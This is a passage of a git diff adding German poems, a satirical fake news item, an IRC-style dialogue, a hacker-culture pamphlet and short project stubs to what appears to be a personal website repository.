Wahlrecht beantragt, aber alles weitere koennen wir ja bei nem Bier besprechen. diff --git a/stories/poetry/milchstrasse.md b/stories/poetry/milchstrasse.md new file mode 100644 index 0000000..92a1ac1 --- /dev/null +++ b/stories/poetry/milchstrasse.md @@ -0,0 +1,17 @@ +<!-- +.. title: Milchstraße +.. date: 2007/05/01 +.. tags: poetry +--> + +Des Nachts funkelt nun<br/> +Wie einst das Firmament<br/> +Nur noch der Horizont + +Und jeder waermende Schein<br/> +Hier ein einsamer Traum<br/> +Fehlt dort oben + +Es ist, als haetten<br/> +Das Feuer der Goetter wir<br/> +Gestohlen, nicht geliehen diff --git a/stories/poetry/missverstaendnis.md b/stories/poetry/missverstaendnis.md new file mode 100644 index 0000000..c42974a --- /dev/null +++ b/stories/poetry/missverstaendnis.md @@ -0,0 +1,27 @@ +<!-- +.. title: (erdgeist I) Mißverständnis +.. date: 2002/12/01 +.. tags: poetry +--> + +Du missverstehst meine Motivation.<br/> +Wohl versteh ich die Freiheit. Voll und<br/> +ganz. Und ich geniesse sie. Und ich<br/> +geniesse deine Freiheit. Und ich will<br/> +sie haben. Und alles, was ich dazu tun<br/> +muss, ist zu warten. Warten, bis mein Freund,<br/> +die Zeit, auch deine, vom Sturmwind der<br/> +Freiheit gegerbte, Seele bei mir an die<br/> +Tuer klopfen laesst.<br/> +Ich wuerde alles tun, um dich zu<br/> +hindern, DEINE Traeume umzusetzen.<br/> +Wenn es fuer mich einen Unterschied<br/> +machen wuerde.<br/> +Ich will nicht, dass du dich bindest.<br/> +Ich will, dass du deinen Weg allein<br/> +gehst, bis alle Kanten geschliffen und<br/> +der Wille gebrochen, das noch<br/> +geschmeidige Fell zersaust und dein<br/> +steter Drang nach Freiheit gebrochen.<br/> +Dann werde ich laechelnd am Ende deines<br/> +Weges sitzen und dir deinen Platz anbieten. diff --git a/stories/poetry/mistral.md b/stories/poetry/mistral.md new file mode 100644 index 0000000..0a5c610 --- /dev/null +++ b/stories/poetry/mistral.md @@ -0,0 +1,16 @@ +<!-- +.. title: Mistral +.. date: 2002/03/01 +.. tags: poetry +--> + +Dort, wo der Regen frisch den Schwermut<br/> +mit Leichtigkeit auf die Planken wusch,<br/> +und wir versuchten, aneinander Halt<br/> +und Geborgenheit zu finden,<br/> +dort, wo die Gischt die Traurigkeit<br/> +und die Einsamkeit des Meeres<br/> +gegen unsere Brandung warf,<br/> +dort, wo der Nebel mit unseren<br/> +eh schon geblendeten Sinnen spielte.<br/> +Dort verlor ich mich, im Wind. diff --git a/stories/poetry/mondgoettin.md b/stories/poetry/mondgoettin.md new file mode 100644 index 0000000..6938c21 --- /dev/null +++ b/stories/poetry/mondgoettin.md @@ -0,0 +1,26 @@ +<!-- +.. title: Mondgöttin +.. date: 2002/09/01 +.. tags: poetry +--> + +Gott und Mond sind fern.<br/> +So wie du, als du mich voellig<br/> +unverhofft an der Hand nahmst<br/> +um mir das heimlich hinter<br/> +der Welt versteckte Laecheln<br/> +der Sonne zu zeigen.<br/> +Licht und Du sind mir nun nah,<br/> +aber noch fehlt mir die Kraft,<br/> +den Blick wieder zur Erde<br/> +zu erheben und ich gebe mich<br/> +dem Rausch der Strahlen hin,<br/> +in die du getaucht vor mir<br/> +Mond und Sonne und Gott und<br/> +die Welt vergessen machst.<br/> +Und doch! Klein zwischen den<br/> +Gestirnen, mit denen du wie<br/> +selbstverstaendlich spielst,<br/> +halte ich tapfer mein Licht,<br/> +dein Leben zu beleuchten, um<br/> +dich nie wieder zu verlieren. diff --git a/stories/poetry/nachts.md b/stories/poetry/nachts.md new file mode 100644 index 0000000..e30277f --- /dev/null +++ b/stories/poetry/nachts.md @@ -0,0 +1,20 @@ +<!-- +.. title: Nachts +.. date: 2002/05/01 +.. tags: poetry +--> + +Dunkelheit truebt die Sinne.<br/> +Doch als ich, mehr unbeholfen<br/> +denn planvoll, in deine Naehe<br/> +stolperte, da erst nahm ich<br/> +das Strahlen wahr, das mich<br/> +wahrscheinlich zu dir fuehrte.<br/> +Und wenn ich nun hier, so nah<br/> +bei dir und doch himmelweit<br/> +entfernt, meinen Platz fand,<br/> +so faellt es mir immer schwerer,<br/> +daran zu glauben, ich sei noch<br/> +Herr meiner eigenen Sinne.<br/> +Das, allerdings, mag an der<br/> +Nacht liegen. diff --git a/stories/poetry/pamphlet b/stories/poetry/pamphlet new file mode 100644 index 0000000..a318a5b --- /dev/null +++ b/stories/poetry/pamphlet @@ -0,0 +1,8 @@ +<HTML><HEAD></HEAD><BODY> Fear, Uncertainty, Consumption, Knowledge. + Wir haben vor allem Moeglichen Angst. Ist ja auch nur zu natuerlich. Bei allem was man immer so liest und hoert. Es ist eine schreckliche Welt da draussen und das Einzige, was uns noch retten kann, ist: viel Geld auszugeben. Was es genau ist, das uns Angst machen muss? Das ist von Fall zu Fall natuerlich unterschiedlich. Aber generell sind es zwei Dinge, die sie verursachen: Unwissenheit und Unsicherheit. Und es gibt genug Leute, die von deiner Angst leben: Politiker, Polizisten, Anwlte, Versicherungsverteter, Potenzpillenhersteller, die Presse, die Ruestungsindustrie, sogar Greenpeace. Also gibt es auch ein vitales Interesse, dir deine schoene Angst nicht wegzunehmen. Man sehe sich nur die RTL-Abendnachrichten an und spiele ein kleines Spiel: versucht einmal, jeden Beitrag in eine der beiden Kategorien Angst oder Konsum einzuordnen. Und dann sagt, wo es die idyllischeren Bilder zu sehen gibt. Und wieviel Hintergrundinformationen vermittelt wurden. Dann schaue man sich die darauffolgende Soap an und sage, welche Gestalten gemeinhin als Sympathietraeger oder Identifikationsfiguren propagiert werden. Wissen und Intelligenz ist nicht schick, Erfolg nicht mehr Ergebnis von Fleiss. Dass gerade bei der Bildung gespart wird, wenn es nicht um die Elite geht, mag Zufall sein. Der Trend jedoch ist erkennbar: weg vom muendigen Bildungsbuerger, hin zum modernen Konsumbuerger mit all seinen pflegebeduerftigen Aengsten. + Was uns das als Hacker interessieren muss, die wir doch groesstenteils reflektierte, nicht vom Konsum verblendete Heroen sind? Wir sind das prototypische Feindbild des Konsums. Wir schliessen uns meist nicht der Finanzelite an und versuchen nicht einmal, eine berechenbare Gegenelite zu bilden. Unser erklaertes Ziel ist es, Herrschaftswissen zu nehmen und dem Beherrschten zugaenglich zu machen, zudem sein privates Wissen vor der zentralen Erfassung zu schuetzen. Hoechste Zeit, dem Hacker ein bedrohliches Image zu verpassen und am besten noch mit dieser neuen Angst Geld verdienen. Hier eine proprietaere Virenscan-Software, dort eine closed-source Firewall, und natuerlich im Fernsehn neben den Boesen, die Bomben auf Unschuldige werfen, der Hacker, der sich deine Festplatte zum Ziel genommen hat, so zwischen Ueberschwemmung, Lebensmittelvergiftungen und der Werbung. Da, wo die Komplexitaet des Systems das Verstaendnis sprengt und darueber hinaus magische, fast religioese Grenzen ankratzt, findet auch leicht die Ueberhoehung des Hackers ins Diabolische statt. + Aber auch wenn man die Angst durch Bildung bekmpft, bleibt sie nominal oft gleich: Denn hier fuehrt Beseitigung der Unwissenheit, zu einer Zunahme der eigenen Unsicherheit - die zweite Quelle der Angst. Wem zum Beispiel vertrauen wir denn in letzter Zeit unser Weltwissen an? Wir vertrauen darauf, dass in einem Prozessor, dessen Leiterbahnen wir mit blossem Augen nicht mehr erkennen koennen, sich Elektronen in gerade der richtigen Anzahl an den richtigen Stellen zusammensammeln, um bestimmte Schwellenwerte zu unter- oder ueberschreiten. Im Optimalfall kommt dabei die gewuenschte Transformation der Daten heraus. Die Ergebnisse werden in Abermilliarden schnell fluechtiger Rueckkopplungsgattern (ueblicherweise Speicher genannt) abgelegt. Was aufhebenswert erscheint, wird als mikroskopisch kleine Magnetisierungsinseln auf schnell rotierenden Metallscheiben gebannt, staendig auf der Furcht vor externen Magnetfeldern. Und wenn wir ernsthaft an das Konservieren fuer spaeter denken, benutzen wir extrem lichtempfindliche Billigstkunststoffscheiben, in die wir mit starken Lampen Loecher brennen, spaeter mit weniger starken Lampen wieder abtasten, nur um die Daten wenig spaeter dem selben Zyklus zu unterwerfen. (Wie lichtempfindlich die Scheiben sind, kann man im Experiment mit einer ueber den Sommer ins Fenster gehangenen CD selbst nachvollziehen) Alles in allem wohl ein unglaublich fragiler Ablauf, der nur mit Redundanz und dem kontinuierlichen Kopieren und Vergleichen der Daten mit den Zweit- und Drittkopien in stabilen Bahnen zu halten ist. (Versucht doch mal, eine Diskette von vor mehr als 7 Jahren zu lesen. Solltet ihr durch Zufall noch die passenden Laufwerke haben, ist die Wahrscheinlichkeit der Datenintegritaet wohl eher gering). + Das bewaehrte Konzept der menschenlesbaren Papierkopie wird mehr und mehr zurueckgedraengt, zumindest fuer die breite Masse, sie laesst sich zu schwer regulieren. Wissen ist (neben dem politischen) auch ein wirtschaftlicher Vorteil, Information Wirtschaftsgut. Oeffentliche Bibliotheken sind finanziell so schlecht ausgestattet, wie schon lange nicht mehr, Tendenz fallend. Aber auch im Elektronischen, wo die Regulierung des Kopierens mittels Kontrolle ueber das Kopiergeraet demnaechst leichter fallen soll, sind die Bewegungen in Richtung Informationsverknappung und Mehrfachverkauf deutlich zu erkennen. Dabei geht es mir nicht primaer um mp3s und Hollywoodschinken. Bald wird gar das private Pressearchiv urheberrechtlich bedenklich. An zentraler Stelle bleibt die Information natuerlich fuer Geld weiter verfuegbar. Ob aber morgen in der selben Zeitung noch das selbe steht, wie heute, ist fraglich. Dabei muss man nicht gleich mit Orwell argumentieren, eine einstweilige Verfuegung bei genuegendem politischen/wirtschaftlichen/staatssicherheitstechnischen Interesse ist durchaus im Rahmen des aktuell Wahrscheinlichen. + Selbst Suchmaschinen, respektive deren Caches, haben sich zuletzt nicht als zuverlssig-objektive Archive gegen den Willen der von den Informationen Tangierten erwiesen. Eine dezentrale Informations- Vorratshaltung und -Aufbereitung kostet aber Geld. (Man schaue sich nur die Unordnung in der privaten mp3-Sammlung an. Dann stelle man sich vor, wie die aussaehe, wenn irgendeine bezahlte Kraft den ganzen Tag nichts anderes zu tun haette, als die zu pflegen und erweitern.) Doch wo strukturiertes und damit erst zugngliches Wissen viel Geld kostet, muss sich die Akquisition/Aufbereitung auch finanziell lohnen. Sonst bleibt es Luxus, den man sich erst einmal leisten koennen muss. Aber aufgepasst: Viel zu schnell droht einem dabei selber der Abrutsch in die Klauen der Finanzeliten, die einen in ihre Unterabteilung Wissenselite einsortieren. Beispiel OpenSource-Projekte: sogar hier findet man das gesamte Muster Fear, Uncertainty, Consumption wieder. Was bleibt, wenn man etwa fuer eine Textverarbeitung auf proprietaere Datenformate angewiesen ist, reverse engineering verboten ist? Legal nur noch der Zukauf der Information, was bei einem kostenlosen OpenSource-Programm schlicht nicht finanzierbar ist. Und selbst wenn bleibt beim potentiellen Benutzer (der auch vom Hersteller der kommerziellen Software gern gepflegte) Rest Unsicherheit, die Angst, die dann nur noch durch Konsum - Kauf der SW - besiegbar scheint. + Wuerde man mich nach dem Konsum dieses Textes nach einer Moral fragen, wuerde ich sicher aus den Zielen des CCC zitieren. Dezentrale, oeffentlich zugaengliche Verwaltung aller oeffentlichen Informationen statt einem Verbot des Publizierens. Ansonten: selber denken! +</BODY></HTML> diff --git a/stories/poetry/perfektion.md b/stories/poetry/perfektion.md new file mode 100644 index 0000000..c278099 --- /dev/null +++ b/stories/poetry/perfektion.md @@ -0,0 +1,32 @@ +<!-- +.. title: Perfektion +.. date: 2006/01/02 +.. tags: poetry +--> + +Gibt es Perfektion, fragst du.<br/> +Und stehst doch vor mir<br/> +selber schon, so perfekt<br/> + +Gibt es Schönheit, fragst du.<br/> +Mit deinem Lächeln, deiner Haut,<br/> +deinen Augen, deinen Haaren,<br/> +mit denen du und die Welt und<br/> +mein Leben als das Schönste erscheint.<br/> + +Gibt es Harmonie, fragst du.<br/> +Als zusammen wir den Lauf der Dinge<br/> +eng umschlungen im Geist und Körper<br/> +an uns vorbei nicht wahr haben wollten.<br/> + +Gibt es Wahrheit, fragst du.<br/> +Und bedeutest am Ende doch<br/> +das Einzige, was bleibt.<br/> +Als Antwort auf nie gestellte Fragen.<br/> + +Aber deine wahre Perfektion<br/> +machen all deine Fehler erst,<br/> +dein ungeschminktes Lachen,<br/> +feurige böse Augen im Streit.<br/> +Und die Gewissheit, dass alles<br/> +Wahre im Leben farblos ist. diff --git a/stories/poetry/schneebilder.md b/stories/poetry/schneebilder.md new file mode 100644 index 0000000..6b5d191 --- /dev/null +++ b/stories/poetry/schneebilder.md @@ -0,0 +1,33 @@ +<!-- +.. title: Schneebilder +.. date: 2006/01/01 +.. tags: poetry +--> + +Vor uns liegt<br/> +wie von eisiger Decke,<br/> +der Platz, sanft gebettet.<br/> +Ganz ruhig noch,<br/> +im warmen Lichte<br/> +der Stadt.<br/> + +Unter uns summen<br/> +wie ein heimlicher Chor,<br/> +die Flocken, matt knirschend.<br/> +Voll knisternder Spannung,<br/> +im warmen Rauschen<br/> +der Stadt.<br/> + +Um uns fliegen<br/> +wie von feuriger Hand,<br/> +die Bälle, wild pfeifend.<br/> +Voll Freude am Leben,<br/> +im warmen Herzen<br/> +der Stadt.<br/> + +Hinter uns verlieren<br/> +wie des Atems Hauch<br/> +unsere Schritte, sich still.<br/> +Und langsam nur<br/> +im warmen Schnee<br/> +der Stadt.<br/> diff --git a/stories/poetry/seelenkratzer.md b/stories/poetry/seelenkratzer.md new file mode 100644 index 0000000..779d228 --- /dev/null +++ b/stories/poetry/seelenkratzer.md @@ -0,0 +1,17 @@ +<!-- +.. title: Seelenkratzer +.. date: 2004/08/01 +.. tags: poetry +--> + +Wir gaffen von den viel zu glatten Klippen<br/> +und aus den uns ausgesparten Hoehlen<br/> +die falschen Schluchten in die toten Taeler hinab,<br/> +die wir glauben, uns selbst in der Landschaft,<br/> +zum Durchwandern und sich Treffen,<br/> +geschaffen zu haben.<br/> +Doch - kaum regt dort sich Leben,<br/> +nehmen wir reissaus,<br/> +verstecken uns voreinander und<br/> +lindern, in Sicherheit, diesen Schmerz<br/> +mit knallbunten Bildern. diff --git a/stories/poetry/seemann.md b/stories/poetry/seemann.md new file mode 100644 index 0000000..1902278 --- /dev/null +++ b/stories/poetry/seemann.md @@ -0,0 +1,71 @@ +<!-- +.. title: Seemann +.. date: 2000/08/01 +.. tags: poetry +--> + +Nanana, mal nicht so schnell, wo wollen sie denn hin? - + + Schnellstmöglich runter hier von diesem ... Boot? - + +Das sehe ich, daraus wird aber nichts mehr, wir legen nämlich gleich ab, seien sie bitte vernünftig, bleiben sie an Bord! - + + Das werden wir noch sehen... wohin fahren sie denn überhaupt? - + +Sollten sie das nicht wissen, sie haben doch schließlich gebucht? - + + Nein, ich habe gar nichts gebucht, wie kommen sie... - + +Ist das hier ihr Name auf der Liste? - + + Ja schon, aber... - + +Na, sehen sie! Und wer bucht, kommt auch mit, oder glauben sie, wegen ihnen weren wir unseren ganzen Plan um? - + + Mhh, wie lang dauert, ich meine, wann werden... - + +Das weiß keiner. Mal länger, mal weniger lang, das hängt ja sehr von der Route ab, und der Planung natürlich. Sie allerdings scheinen ja nicht sonderlich gut vorbereitet zu sein. - + + Vorbereitung! Ich finde mich hier plötzlich und unvorbereitet... dabei fällt mir ein: was soll die ... Überfahrt?... eigentlich kosten? - + +Ach, darüber brauchen sie sich keine Sorgen zu machen, das ist alles schon geregelt. - + + Nun sagen sie es schon! - + +Warum wollen sie das denn unbedingt wissen? - + + Es interessiert mich halt, los, also wieviel? - + +... Alles. - + + Wie, alles? - + +Na, ALLES. - + + Sie meinen alles, was ich im Laufe... - + +Genau! Aber wie gesagt, sie brauchen sich um nicts mehr kümmern, es ist alles schon erledigt, kommen sie dann bitte wieder her? - + + Einen Moment noch welche Plätze werden..., ich meine sind denn gebucht? - + +Das hängt voll und ganz vom jeweiligen Passagier ab. - + + Sie meinen wohl, daß alles, was ich während... - + +Ja, zum Teufel!... Entschuldigen sie, ich habe es jetzt ein wenig eilig - + + Das ist doch aber reichlich unfair, wieso erfahre ich das erst jetzt? - + +Wurde ihnen das denn nicht gesagt? - + + Mhh, ich denke... ich sehe, das tut wohl JETZT nichts mehr zur Sache. - + +... - + + Wieviele Rettungsboote haben wir denn mir? Reichen die denn für alle... wieviele Passagiere fahren denn so mit? - + +Rettungsboote, ha, wozu? Wohin retten? Eigentlich sind sie doch alle scho... ähm, entschuldigen sie bitte... Passagiere... na alle! - + + Wie... ach, eigentlich wundert es mich gar nicht mehr, gibt es denn überhaupt etwas Positives zu sagen? - + +Ich würde ihnen ja gerne etwas versprechen... vielleicht: Chancen über Chancen... sie könn... halt, HALT! Warten sie, anhalten... Idiot! diff --git a/stories/poetry/traeumerei.md b/stories/poetry/traeumerei.md new file mode 100644 index 0000000..e980e10 --- /dev/null +++ b/stories/poetry/traeumerei.md @@ -0,0 +1,40 @@ +<!-- +.. title: Träumerei +.. date: 2001/08/02 +.. tags: poetry +--> + +Dies ist keine Welt fuer Traeumer.<br/> +Kaum reckt man seinen Kopf<br/> +Um die Geheimnisse der Welt<br/> +zu entdecken und<br/> +ihre Schoenheit zu begreifen,<br/> +kaum glaubt man,<br/> +verstanden zu haben, wozu<br/> +man da ist und fuer wen,<br/> +kaum ist man aus den<br/> +Kinderschuhen hinausgewachsen,<br/> +um in irgendwelche unsaeglichen<br/> +Fussstapfen hineinwachsen<br/> +zu sollen,<br/> +kaum, dass man sich so<br/> +einigermassen eingerichtet<br/> +hat, in seinem Leben, so<br/> +wie es alle machen und<br/> +kaum, dass man glaubt DOCH<br/> +etwas Besonderes zu sein,<br/> +kommt diese verdammte<br/> +Realitaet vorbei, reisst<br/> +dir mit Gewalt die Augen auf<br/> +und dich mit in den Strudel<br/> +des Lebens fernab jeglicher<br/> +Traeume und Plaene, die du<br/> +dir zurechtgelegt und bewahrt<br/> +hast in deiner Schatzkiste.<br/> +Und alles, was du dir bewahren<br/> +kannst, ist die Hoffnung,<br/> +dass da irgendjemand<br/> +auf der Suche danach ist.<br/> +Doch leider haben nur Traeumer<br/> +den Schluessel dafuer.<br/> +Wirf ihn nicht weg! diff --git a/stories/poetry/tscheljabinsk.md b/stories/poetry/tscheljabinsk.md new file mode 100644 index 0000000..0dc1b70 --- /dev/null +++ b/stories/poetry/tscheljabinsk.md @@ -0,0 +1,15 @@ +<!-- +.. title: Kinder Tscheljabinsks +.. date: 2001/09/01 +.. tags: poetry +--> + +In letzter Zeit erreichten die Redaktion Bilder von Kindern aus Tscheljabinsk. + +Dort hatte die Deutsche Industrielobby zuletzt versucht, ihren Atommüll endzulagern. + +Konfrontiert mit Bildern von Kindern mit zum Teil mehr als drei Armen und lumineszierenden Augen, gab sich Dr. Michael Rogowski vom Bundesverband der Deutschen Industrie e.V. (BDI) euphorisch: + +"Das ist zwar alles schon sehr schön, aber wohl doch nur ein Anfang. Für Zuwanderer aus dem Ausland mit außergewöhnlichen Fähigkeiten sehen die Arbeitsmarktchancen in Deutschland durchweg positiv aus. + +Allerdings sollte in näherer Zukunft die Ausbeute noch erhöht werden. Biodesignkatalysatoren hat die deutsche Atomindustrie in ausreichenden Mengen, vorstellbar hier wären Abkommen zum beiderseitigen Nutzen, z.B. mit der Regierung von China. Dort alle Bürger mit 0.1g Gebraucht-Uran zu versorgen, das sie an fortpflanzungstechnisch wertvoller Stelle bei sich führen sollen, würde einen Absatz von 120 Tonnen gebrauchter Brennstäbe bedeuten, eine enorme Herausforderung für uns. Gingen wir von 50 prozentiger Infertilitätrate aus, wäre für die chinesische Regierung im Kampf gegen das Bevölkerungswachstum Enormes geleistet. Nach der dritten Brut sollte doch die Wahrscheinlichkeit gross genug sein, dass aus 1,2 Milliarden Einheiten genetischer Durchschnittsmasse bei mindestens 600 eine nützliche Mutation auftritt. Durch weiteres Auskreuzen könnte der Deutschen Industrie schon in 50 Jahren ein Heer biooptimierter Arbeitskräfte zur Verfügung stehen." diff --git a/stories/poetry/urlaubsgruesse.md b/stories/poetry/urlaubsgruesse.md new file mode 100644 index 0000000..e3d7cdb --- /dev/null +++ b/stories/poetry/urlaubsgruesse.md @@ -0,0 +1,14 @@ +<!-- +.. title: Urlaubsgrüße +.. date: 2010/07/01 +.. tags: poetry +--> + +Schaust übers Meer und Gischt umspült dein Bein,<br/> +und es ist, als lockt es dich mit jeder Welle,<br/> +die voll Neugier dich umschmeichelt, tiefer noch<br/> +im Sand zum Strand ins Salz zum Wasser weit und frei<br/> +zum Horizont in die Weite, in die Leere, sanft hinein,<br/> +und doch verweilt dein Fuß an der immer gleichen Stelle,<br/> +und du sinkst im Schwung um Schwung gespülten Loch<br/> +und das Meer zieht bis zur Flut zum Land an dir vorbei. diff --git a/stories/poetry/vchat.md b/stories/poetry/vchat.md new file mode 100644 index 0000000..1f61b40 --- /dev/null +++ b/stories/poetry/vchat.md @@ -0,0 +1,35 @@ +<!-- +.. title: vchat +.. date: 2002/02/02 +.. tags: poetry +--> +<PRE> +<erdgeist> Faust: wat'n? +<FAUST> *abwend* du siehst ja krass aus +<erdgeist> Faust: wie? erst nervste die ganze Zeit, und denn? +<FAUST> erdgeist: sorry, du bist mir aber grad zu krass +<erdgeist> Faust: eh, die ganze Zeit SMSen, Mails und so, + nur dass ich mich mal blicken lasse, + dann lass ich mich erweichen, + komm hier extra vorbei und denn guckste.. + wat isn passiert? +* Hans left channel 0 +<erdgeist> Faust: Haste da nicht eben noch rumgetoent, + M0n574-1337 h4x0r zu sein? Und wolltest's mir zeigen? + Und wo issa nu, der krasse Faust, der mich unbedingt + sehn wollte? Ich seh hier nur'n feiges Scriptkiddie +<FAUST> erdgeist: Nu komm abba mal, bloss weilde hier mit + War-scripts auftauchst, hau ich noch lange nicht ab! +<erdgeist> Ist ja nicht so, dass ich nix zu tun hab, + ich back da mal wieder ne frische Welt und der Kernel + ist auch mal wieder faellig und Heise hab ich auch + noch nicht durch... +<FAUST> Man, du bist aber beschaeftigt. Kann ich nicht bei dir + joinen? Man, wir haben doch total viel gemeinsam... +<erdgeist> Eh wat? Geh mit deine wareztradaz spieln und nerv nich! + ich mach mich dann mal vom Acker... bye +* erdgeist left channel 0 +* erdgeist left the chat +<FAUST> *sigh* warez traden... +* Nobody hears you +</PRE> diff --git a/stories/poetry/verloren.md b/stories/poetry/verloren.md new file mode 100644 index 0000000..e9cd0c3 --- /dev/null +++ b/stories/poetry/verloren.md @@ -0,0 +1,26 @@ +<!-- +.. title: Verloren +.. date: 2001/07/02 +.. tags: poetry +--> + +Engel verschwinden nicht einfach so aus Leben.<br/> +Und dieser Engel, den ich liebgewann,<br/> +als er mich vor dem Stumpfsinn bewahrte,<br/> +dieser Engel entzieht sich nun langsam,<br/> +kaum merklich fast, mit mir unbekanntem Ziel.<br/> +Mag sein, um woanders Gutes zu tun,<br/> +mag sein, seiner selbst willen,<br/> +mag sein, meinetwegen.<br/> +Und die Frage, die sich zweifellos aufdraengt,<br/> +und auf die ich wohl nicht unvoreingenommen,<br/> +weil immer noch vom heiligen Schein geblendet,<br/> +antworten kann, muss wohl ungefaehr so lauten.<br/> +Sollte man sich in den Weg stellen<br/> +oder beim Starten helfen.<br/> +Sollte man auf einen Engel Ruecksicht nehmen,<br/> +oder wozu ist er denn da?<br/> +Am Besten ist, man schliesst das Maerchenbuch,<br/> +gesteht sich die verdraengten Fehlbarkeiten ein,<br/> +denkt noch einmal ueber sich selbst nach,<br/> +nennt es Liebe und erklaert sich zum Verlierer. diff --git a/stories/poetry/wasted.md b/stories/poetry/wasted.md new file mode 100644 index 0000000..f445146 --- /dev/null +++ b/stories/poetry/wasted.md @@ -0,0 +1,20 @@ +<!-- +.. title: Wasted +.. date: 2003/06/01 +.. tags: poetry +--> + +zwei seelen verwandt<br/> +an einsamem ort<br/> +als licht nur verband<br/> +gemeinsames wort<br/> + +die naechte allein<br/> +an tagen getraeumt<br/> +in taumelndem schein<br/> +die jugend versaeumt<br/> + +zwei seelen so nah<br/> +vorbei nur am glueck<br/> +verschenkten sich da<br/> +ein leben zurueck<br/> diff --git a/stories/poetry/wille.md b/stories/poetry/wille.md new file mode 100644 index 0000000..78b5974 --- /dev/null +++ b/stories/poetry/wille.md @@ -0,0 +1,28 @@ +<!-- +.. title: (erdgeist IV) Wille +.. date: 2002/12/04 +.. tags: poetry +--> + +Wilder Wille beeindruckt den,<br/> +der so Vieles schon erlebte<br/> +und so Trauriges,<br/> +der ganze Zivilisationen kommen<br/> +und gehen hat sehen muessen,<br/> +Einzelne und Viele auf ihrer<br/> +immer gleichen Suche auf den<br/> +immer gleichen Pfaden in einer<br/> +immer gleichen Welt nach den<br/> +immer gleichen Freiheiten,<br/> +doch! Wilder Wille beeindruckt<br/> +den immer noch. Weil er<br/> +erinnert wird an die alten<br/> +Tage, an die grossen Schlachten,<br/> +Tragoedien und das grosse und<br/> +kleine Elend. Und den Kampf<br/> +dagegen und das immer wieder<br/> +und wiederkehrende aufeinander<br/> +und einander Treffen, bei dem<br/> +doch am Ende nur einer gewinnt.<br/> +Als Lichtschein in einer sonst<br/> +monotonen Zeit. diff --git a/stories/poetry/wortzahl84.md b/stories/poetry/wortzahl84.md new file mode 100644 index 0000000..f370725 --- /dev/null +++ b/stories/poetry/wortzahl84.md @@ -0,0 +1,35 @@ +<!-- +.. title: Wortzahl: 84 +.. date: 1998/06/01 +.. tags: poetry +--> + +Neue Epochen beginnen<br/> +An jedem Tag<br/> +Für jeden Einzelnen.<br/> +In bessere Zeiten<br/> +Führt es mich<br/> +Mit edleren Zielen<br/> +Sowie größeren Taten,<br/> +Noch mehr Gefühlen,<br/> +Nie geahnten Wegen.<br/> +Zeigt mir dort<br/> +Meine eigene Welt.<br/> +Doch wenn nicht<br/> +Bin ich tot -<br/> +Oder zumindest fast -<br/> +Einer von Ihnen<br/> +Auf keinen Fall<br/> +Anders als Jene,<br/> +Die wir verachteten<br/> +Nur aufgrund dessen,<br/> +Daß sie sind,<br/> +Was nun scheinbar<br/> +Aus euch wird,<br/> +Und welche uns<br/> +Dafür wiederum haßten,<br/> +Denen ihr jetzt<br/> +Ohne zu fragen<br/> +Ins Verderben folgt.<br/> +<br/> +Gehst du auch? diff --git a/stories/poetry/zeitlos.md b/stories/poetry/zeitlos.md new file mode 100644 index 0000000..342a8e1 --- /dev/null +++ b/stories/poetry/zeitlos.md @@ -0,0 +1,18 @@ +<!-- +.. title: Zeitlos +.. date: 2001/01/01 +.. tags: poetry +--> + +Mein Leben zieht nur noch links und rechts<br/> + an mir vorbei.<br/> +Sekunden, Minuten, Stunden versinken vor Scham ueber ihre Bedeutungslosigkeit<br/> + in der Bedeutungslosigkeit.<br/> +Tage gleiten wortlos ineinander ueber, als haetten sie<br/> + die Naechte vergessen.<br/> +Wochen gewoehnen sich daran, als eine zaehe Masse<br/> + traege dahinzufliessen<br/> +und im Einheitsgrau der Monate unaufhaltsam<br/> + Jahre zu altern.<br/> +Es scheint, als waere die Zeit aus meinem Leben<br/> + einfach so ausgezogen.<br/> diff --git a/stories/poetry/zynismus.md b/stories/poetry/zynismus.md new file mode 100644 index 0000000..d68a5f0 --- /dev/null +++ b/stories/poetry/zynismus.md @@ -0,0 +1,36 @@ +<!-- +.. title: Zynismus +.. date: 2001/06/01 +.. tags: poetry +--> + +Wundervoll ist die Welt<br/> +und zynisch ihre Kommentatoren.<br/> +Und wer immer dich jemals gesehen hat,<br/> +wird mir beipflichten muessen.<br/> + +Denn eine Welt, die dein Laecheln<br/> +und den Zauber deiner Seele<br/> +hervorgebracht hat, kann so schlecht<br/> +ganz gewiss nicht sein.<br/> + +Aber eine Welt, die mir dein Laecheln<br/> +und deine ewige Praesenz vorenthaelt<br/> +und mich allein zuruecklaesst,<br/> +mit dem Rest von ihr, kann so schoen<br/> +ganz gewiss nicht sein.<br/> + +Und ich, der ich verlange, dein Laecheln<br/> +und den Glanz, den du verstroemst,<br/> +nur fuer mich allein zu haben, und dich<br/> +der Welt vorzuenthalten und ihr das<br/> +Wertvollste zu stehlen, kann so gerecht<br/> +ganz gewiss nicht sein.<br/> + +Nur du, die du von alledem unwissend<br/> +einfach nur du bist und dein Laecheln<br/> +und dich selbst der ganzen Welt schenkst<br/> +und dich doch nie vereinnahmen laesst,<br/> +hoer bitte nicht auf meine Worte!<br/> +Aber so zynisch wie ich wirst du<br/> +ganz gewiss nicht sein. diff --git a/stories/projects/Telefonbuch.rst b/stories/projects/Telefonbuch.rst new file mode 100644 index 0000000..4c4260c --- /dev/null +++ b/stories/projects/Telefonbuch.rst @@ -0,0 +1,7 @@ +.. link: +.. description: is a project to quickly dump a certain kind of digital phone books. +.. tags: project +.. date: 2015/02/01 19:10:08 +.. title: Telefonbuch +.. slug: ../arts/software/Telefonbuch/index +.. prio: 98 diff --git a/stories/projects/anonbox.rst b/stories/projects/anonbox.rst new file mode 100644 index 0000000..404ddbb --- /dev/null +++ b/stories/projects/anonbox.rst @@ -0,0 +1,7 @@ +.. link: +.. description: is a web service to generate and maintain throw away email addresses, instanced on anonbox.net, including a javascript implementation of a unicode capable mbox-to-html renderer. +.. tags: project +.. date: 2015/02/01 19:10:08 +.. title: anonbox +.. slug: ../arts/software/anonbox/index +.. prio: 99 diff --git a/stories/projects/briefkasten.rst b/stories/projects/briefkasten.rst new file mode 100644 index 0000000..de4c8cd --- /dev/null +++ b/stories/projects/briefkasten.rst @@ -0,0 +1,6 @@ +.. link: +.. description: is a web service to anonymously submit messages via the web generating PGP mails and is instanced on the zeit-online briefkasten. +.. tags: project +.. date: 2015/02/01 19:10:08 +.. title: briefkasten +.. slug: ../arts/software/briefkasten/index diff --git a/stories/projects/el.rst b/stories/projects/el.rst new file mode 100644 index 0000000..8633181 --- /dev/null +++ b/stories/projects/el.rst @@ -0,0 +1,72 @@ +.. link: +.. description: is a unix tool aiding the Telefonbuch project for export and search queries. +.. tags: project +.. date: 2015/02/01 19:10:08 +.. title: el +.. subtitle: extract lines from text files +.. 